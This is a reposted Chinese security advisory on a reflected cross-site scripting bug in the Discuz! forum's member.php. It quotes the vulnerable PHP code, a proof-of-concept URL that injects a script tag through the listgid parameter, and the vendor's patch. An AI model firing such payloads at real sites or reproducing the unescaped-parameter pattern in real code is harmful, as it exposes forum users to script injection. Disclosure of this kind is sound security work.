TOUVE 发表于 2018-12-20 11:58:38

Discuz! member.php xss bug-simeon技术专栏

Discuz! member.php xss bug  author: 80vul-B
  team:http://www.80vul.com
  一 分析
  member.php代码:
  if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) {
  //这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:)
  $type = $adminid == 1 ? 'grouplist' : $type;
  } else {
  $listgid = '';
  }
  ...
  $multipage = multi($num, $memberperpage, $page, "member.php?action=list&listgid=$listgid&srchmem=".rawurlencode($srchmem)."&order=$order&type=$type", $membermaxpages);
  二 利用
  poc:
  poc:
  http://www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
  会员列表页面存在分页时触发
  三 补丁
  刚发布的dz7 bt版本已经fix这个漏洞了:
  if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) {
  $type = $adminid == 1 ? 'grouplist' : $type;
  } else {
  $listgid = '';
  }
  :http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip

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